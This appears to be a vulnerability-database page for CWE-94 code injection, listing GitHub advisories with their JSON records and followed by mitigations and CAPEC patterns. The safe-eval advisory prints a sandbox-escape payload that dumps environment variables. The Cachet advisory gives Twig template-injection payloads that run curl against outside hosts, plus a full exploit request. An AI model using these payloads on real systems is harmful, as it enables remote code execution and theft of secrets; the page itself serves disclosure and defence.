Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

8414 vulnerabilities reference this CWE, most recent first.

GHSA-HRP4-5HX4-FH2V

Vulnerability from github – Published: 2022-05-01 18:27 – Updated: 2022-05-01 18:27
VLAI
Details

Multiple PHP remote file inclusion vulnerabilities in Txx CMS 0.2 allow remote attackers to execute arbitrary PHP code via a URL in the doc_root parameter to (1) addons/plugin.php, (2) addons/sidebar.php, (3) mail/index.php, or (4) mail/mailbox.php in modules/.

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{
  "affected": [],
  "aliases": [
    "CVE-2007-4818"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-09-11T19:17:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple PHP remote file inclusion vulnerabilities in Txx CMS 0.2 allow remote attackers to execute arbitrary PHP code via a URL in the doc_root parameter to (1) addons/plugin.php, (2) addons/sidebar.php, (3) mail/index.php, or (4) mail/mailbox.php in modules/.",
  "id": "GHSA-hrp4-5hx4-fh2v",
  "modified": "2022-05-01T18:27:36Z",
  "published": "2022-05-01T18:27:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-4818"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/36511"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/4381"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/38390"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/38391"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/38392"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/38393"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/3116"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/478870/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/25597"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-HRPQ-R399-WHGW

Vulnerability from github – Published: 2020-08-25 23:40 – Updated: 2023-09-11 23:01
VLAI
Summary
Sandbox Breakout / Arbitrary Code Execution in safe-eval
Details

All versions of safe-eval are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system.

Evaluating the payload 

(function (){
  var ex = new Error
  ex.__proto__ = null
  ex.stack = {
    match: x => {
      return x.constructor.constructor("throw process.env")()
    }
  }
  return ex
})()

prints the contents of process.env.

Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "safe-eval"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7710"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-25T21:20:22Z",
    "nvd_published_at": "2020-08-21T10:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system. \n\nEvaluating the payload \n```js\n(function (){\n  var ex = new Error\n  ex.__proto__ = null\n  ex.stack = {\n    match: x =\u003e {\n      return x.constructor.constructor(\"throw process.env\")()\n    }\n  }\n  return ex\n})()\n``` \n\nprints the contents of `process.env`.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.",
  "id": "GHSA-hrpq-r399-whgw",
  "modified": "2023-09-11T23:01:24Z",
  "published": "2020-08-25T23:40:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7710"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hacksparrow/safe-eval/issues/19"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-SAFEEVAL-608076"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/1322"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Sandbox Breakout / Arbitrary Code Execution in safe-eval"
}

GHSA-HRR5-6MF9-3WXH

Vulnerability from github – Published: 2022-05-24 19:20 – Updated: 2023-12-28 18:30
VLAI
Details

Microsoft Defender Remote Code Execution Vulnerability

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2021-42298"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-10T01:19:00Z",
    "severity": "HIGH"
  },
  "details": "Microsoft Defender Remote Code Execution Vulnerability",
  "id": "GHSA-hrr5-6mf9-3wxh",
  "modified": "2023-12-28T18:30:31Z",
  "published": "2022-05-24T19:20:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42298"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-42298"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HRV3-VQ6H-XW3F

Vulnerability from github – Published: 2025-08-07 21:31 – Updated: 2025-08-08 21:30
VLAI
Details

FoxCMS <=v1.2.5 is vulnerable to Code Execution in admin/template_file/editFile.html.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2025-50692"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-07T19:15:28Z",
    "severity": "CRITICAL"
  },
  "details": "FoxCMS \u003c=v1.2.5 is vulnerable to Code Execution in admin/template_file/editFile.html.",
  "id": "GHSA-hrv3-vq6h-xw3f",
  "modified": "2025-08-08T21:30:35Z",
  "published": "2025-08-07T21:31:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50692"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/cyb3res3c/ceacf7d560d2c8cd5ffd158abf0bfba9"
    },
    {
      "type": "WEB",
      "url": "https://reference1.example.com/index.php/admin/template_file/editFile.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HRX3-365F-6PG5

Vulnerability from github – Published: 2022-05-05 02:48 – Updated: 2022-05-05 02:48
VLAI
Details

The suexec implementation in Parallels Plesk Panel 11.0.9 contains a cgi-wrapper whitelist entry, which allows user-assisted remote attackers to execute arbitrary PHP code via a request containing crafted environment variables.

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{
  "affected": [],
  "aliases": [
    "CVE-2013-0132"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2013-04-18T18:55:00Z",
    "severity": "MODERATE"
  },
  "details": "The suexec implementation in Parallels Plesk Panel 11.0.9 contains a cgi-wrapper whitelist entry, which allows user-assisted remote attackers to execute arbitrary PHP code via a request containing crafted environment variables.",
  "id": "GHSA-hrx3-365f-6pg5",
  "modified": "2022-05-05T02:48:27Z",
  "published": "2022-05-05T02:48:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-0132"
    },
    {
      "type": "WEB",
      "url": "http://www.kb.cert.org/vuls/id/310500"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-HV33-P49Q-X8Q5

Vulnerability from github – Published: 2023-08-18 12:30 – Updated: 2024-04-04 07:02
VLAI
Details

Hidden functionality vulnerability in LAN-W300N/RS all versions, and LAN-W300N/PR5 all versions allows an unauthenticated attacker to log in to the product's certain management console and execute arbitrary OS commands.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2023-32626"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-18T10:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "Hidden functionality vulnerability in LAN-W300N/RS all versions, and LAN-W300N/PR5 all versions allows an unauthenticated attacker to log in to the product\u0027s certain management console and execute arbitrary OS commands.",
  "id": "GHSA-hv33-p49q-x8q5",
  "modified": "2024-04-04T07:02:43Z",
  "published": "2023-08-18T12:30:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32626"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/vu/JVNVU91630351"
    },
    {
      "type": "WEB",
      "url": "https://www.elecom.co.jp/news/security/20230810-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HV4W-QF5W-5WQC

Vulnerability from github – Published: 2022-05-14 03:24 – Updated: 2025-04-09 03:59
VLAI
Details

manage_proj_page.php in Mantis before 1.1.4 allows remote authenticated users to execute arbitrary code via a sort parameter containing PHP sequences, which are processed by create_function within the multi_sort function in core/utility_api.php.

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{
  "affected": [],
  "aliases": [
    "CVE-2008-4687"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-10-22T18:00:00Z",
    "severity": "HIGH"
  },
  "details": "manage_proj_page.php in Mantis before 1.1.4 allows remote authenticated users to execute arbitrary code via a sort parameter containing PHP sequences, which are processed by create_function within the multi_sort function in core/utility_api.php.",
  "id": "GHSA-hv4w-qf5w-5wqc",
  "modified": "2025-04-09T03:59:49Z",
  "published": "2022-05-14T03:24:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-4687"
    },
    {
      "type": "WEB",
      "url": "https://bugs.gentoo.org/show_bug.cgi?id=242722"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/45942"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/44611"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/6768"
    },
    {
      "type": "WEB",
      "url": "http://mantisbt.svn.sourceforge.net/viewvc/mantisbt/branches/BRANCH_1_1_0/mantisbt/core/utility_api.php?r1=5679\u0026r2=5678\u0026pathrev=5679"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/32314"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/32975"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/4470"
    },
    {
      "type": "WEB",
      "url": "http://www.gentoo.org/security/en/glsa/glsa-200812-07.xml"
    },
    {
      "type": "WEB",
      "url": "http://www.mantisbt.org/bugs/changelog_page.php"
    },
    {
      "type": "WEB",
      "url": "http://www.mantisbt.org/bugs/view.php?id=0009704"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2008/10/19/1"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/31789"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-HV75-87H9-4P5H

Vulnerability from github – Published: 2025-12-19 18:31 – Updated: 2025-12-19 21:30
VLAI
Details

AVideo versions 14.3.1 prior to 20.1 contain an unauthenticated remote code execution vulnerability caused by predictable generation of an installation salt using PHP uniqid(). The installation timestamp is exposed via a public endpoint, and a derived hash identifier is accessible through unauthenticated API responses, allowing attackers to brute-force the remaining entropy. The recovered salt can then be used to encrypt a malicious payload supplied to a notification API endpoint that evaluates attacker-controlled input, resulting in arbitrary code execution as the web server user.

Severity
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
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{
  "affected": [],
  "aliases": [
    "CVE-2025-34433"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-19T16:15:55Z",
    "severity": "CRITICAL"
  },
  "details": "AVideo versions 14.3.1 prior to 20.1 contain an unauthenticated remote code execution vulnerability caused by predictable generation of an installation salt using PHP uniqid(). The installation timestamp is exposed via a public endpoint, and a derived hash identifier is accessible through unauthenticated API responses, allowing attackers to brute-force the remaining entropy. The recovered salt can then be used to encrypt a malicious payload supplied to a notification API endpoint that evaluates attacker-controlled input, resulting in arbitrary code execution as the web server user.",
  "id": "GHSA-hv75-87h9-4p5h",
  "modified": "2025-12-19T21:30:19Z",
  "published": "2025-12-19T18:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34433"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/4a53ab2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/a2bdbff"
    },
    {
      "type": "WEB",
      "url": "https://chocapikk.com/posts/2025/avideo-security-vulnerabilities"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/avideo-unauthenticated-rce-via-predictable-installation-salt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-HV76-RX4Q-P8P6

Vulnerability from github – Published: 2022-05-01 18:42 – Updated: 2022-05-01 18:42
VLAI
Details

Direct static code injection vulnerability in index.php in Flat PHP Board 1.2 and earlier allows remote attackers to inject arbitrary PHP code via the (1) username, (2) password, and (3) email parameters when registering a user account, which can be executed by accessing the user's php file for this account. NOTE: similar code injection might be possible in a user profile.

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{
  "affected": [],
  "aliases": [
    "CVE-2007-6396"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-12-17T18:46:00Z",
    "severity": "HIGH"
  },
  "details": "Direct static code injection vulnerability in index.php in Flat PHP Board 1.2 and earlier allows remote attackers to inject arbitrary PHP code via the (1) username, (2) password, and (3) email parameters when registering a user account, which can be executed by accessing the user\u0027s php file for this account.  NOTE: similar code injection might be possible in a user profile.",
  "id": "GHSA-hv76-rx4q-p8p6",
  "modified": "2022-05-01T18:42:31Z",
  "published": "2022-05-01T18:42:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-6396"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/4705"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/43675"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/484803/100/100/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/26782"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-HV79-P62R-WG3P

Vulnerability from github – Published: 2023-10-16 14:20 – Updated: 2023-10-16 14:20
VLAI
Summary
Cachet vulnerable to Authenticated Remote Code Execution
Details

Summary

A template functionality which allows users to create templates allows them to execute any code on the server during the bad filtration and old twig version. Within /cachet/app/Http/Routes/ApiRoutes.php, and attacker could control template input which is passed to laravel's dispatched handler /cachet/app/Bus/Handlers/Commands/Incident/CreateIncidentCommandHandler.php. If an attacker is able to control this data, they may be able to trigger a server-side template injection vulnerability which can lead to remote code execution.

This vulnerability does not exist within the Twig library itself, but exists during the process of the Cachet processing of the data without any filtration. This has been patched in Cachet version 2.4.

PoC

  1. Log in as a default user (non-admin);
  2. Create an incident with name slug1 and with content: {{ ['curl yourhost.com','']|sort('system') }} or with any other content for Remote code execution via the Twig, for instance: {{[0]|reduce('system','curl yourhost.com')}};
  3. Get an API token from your account settings (X-Cachet-Token);
  4. Trigger remote code execution using the api route: 
POST /api/v1/incidents HTTP/1.1
Host: myapp
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
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{"template":"slug1", "name":"{{ ['curl pwned.riven.pw','']|sort('system') }}", "status":2, "visible":1}
  1. Obtain remote code execution. An attacker could also upload a web-shell using some base64 tricks with pipe to bash.

Impact

Server-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side. Template engines are designed to generate web pages by combining fixed templates with volatile data. Server-side template injection attacks can occur when user input is concatenated directly into a template, rather than passed in as data. This allows attackers to inject arbitrary template directives in order to manipulate the template engine, often enabling them to take complete control of the server. As the name suggests, server-side template injection payloads are delivered and evaluated server-side, potentially making them more dangerous than a typical client-side template injection.

Mitigation

  1. Update TWIG to the latest version;
  2. Filter user-controlled data by any safe pattern;
  3. Use sandboxed twig mode;
  4. Don't allow users (non-admins) to trigger this vulnerability via the API endpoint.
Severity
9.1 (Critical)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "cachethq/cachet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-43661"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-16T14:20:53Z",
    "nvd_published_at": "2023-10-11T20:15:10Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nA template functionality which allows users to create templates allows them to execute any code on the server during the bad filtration and old twig version.  Within `/cachet/app/Http/Routes/ApiRoutes.php`, and attacker could control `template` input which is passed to `laravel\u0027s` dispatched handler `/cachet/app/Bus/Handlers/Commands/Incident/CreateIncidentCommandHandler.php`. If an attacker is able to control this data, they may be able to trigger a server-side template injection vulnerability which can lead to remote code execution.\n\nThis vulnerability does not exist within the [Twig](https://twig.symfony.com/) library itself, but exists during the process of the [Cachet](https://github.com/cachethq/cachet) processing of the data without any filtration. This has been patched in Cachet version  2.4.\n\n### PoC\n\n1. Log in as a default user (non-admin);\n2. Create an incident with name `slug1` and with content: `{{ [\u0027curl yourhost.com\u0027,\u0027\u0027]|sort(\u0027system\u0027) }}` or with any other content for `Remote code execution` via the `Twig`, for instance: `{{[0]|reduce(\u0027system\u0027,\u0027curl yourhost.com\u0027)}}`;\n3. Get an `API` token from your account settings (`X-Cachet-Token`);\n4. Trigger remote code execution using the `api` route: \n\n```\nPOST /api/v1/incidents HTTP/1.1\nHost: myapp\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\nCookie: XSRF-TOKEN=eyJpdiI6InZUVVpkRmx1VFlhcytVQkQ1Zk81b1E9PSIsInZhbHVlIjoiSlE0Tmt1cjVoRHFSOHBIR3RoYlAwS0dNZlVHbm02d0tWVW1ERVRvblZTTW1TMHV2MFJUYTNwQWQyZ3pQM1VlMyIsIm1hYyI6IjU4YzAxZjgyYWE4YTU4MTExMDQ3OGRhOTNlYThlZTYxMzI5YzBhMWVhM2RjYzA2ODgzMGVhMGQ5Njg2YTMyMjkifQ%3D%3D; laravel_session=eyJpdiI6IldZcHhMSjBYRmQzUXdGTTRQbGFQTWc9PSIsInZhbHVlIjoiSkRxWncxdWs3Y29ZcXVHMlJ0U2pVVVwvMGdvSUJNK2pEMnhsR2QzVnE1MmMxMWJxUm96K1VnalwvS1pYcXE2cGllIiwibWFjIjoiMDM0MGIxNjRlM2VhOGU5Mzg2OWVkYjZjNmJhY2JlMTE3OTdkMDRkZTQ1NzI5NTMzNzI4YjA5YTcwNzM2M2E5YyJ9\nConnection: close\nX-Cachet-Token: OeiLJ6G6kjsBXeyOo97z\nContent-Length: 109\nContent-type: application/json\n\n{\"template\":\"slug1\", \"name\":\"{{ [\u0027curl pwned.riven.pw\u0027,\u0027\u0027]|sort(\u0027system\u0027) }}\", \"status\":2, \"visible\":1}\n``` \n\n5. Obtain remote code execution. An attacker could also upload a web-shell using some base64 tricks with pipe to bash. \n\n### Impact\n\nServer-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side. Template engines are designed to generate web pages by combining fixed templates with volatile data. Server-side template injection attacks can occur when user input is concatenated directly into a template, rather than passed in as data. This allows attackers to inject arbitrary template directives in order to manipulate the template engine, often enabling them to take complete control of the server. As the name suggests, server-side template injection payloads are delivered and evaluated server-side, potentially making them more dangerous than a typical client-side template injection.\n\n### Mitigation\n\n1. Update `TWIG` to the latest version; \n2. Filter user-controlled data by any safe pattern;\n3. Use `sandboxed` `twig` mode;\n4. Don\u0027t allow users (non-admins) to trigger this vulnerability via the `API` endpoint.",
  "id": "GHSA-hv79-p62r-wg3p",
  "modified": "2023-10-16T14:20:53Z",
  "published": "2023-10-16T14:20:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cachethq/cachet/security/advisories/GHSA-hv79-p62r-wg3p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43661"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cachethq/cachet/commit/6fb043e109d2a262ce3974e863c54e9e5f5e0587"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cachethq/cachet"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Cachet vulnerable to Authenticated Remote Code Execution"
}
Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

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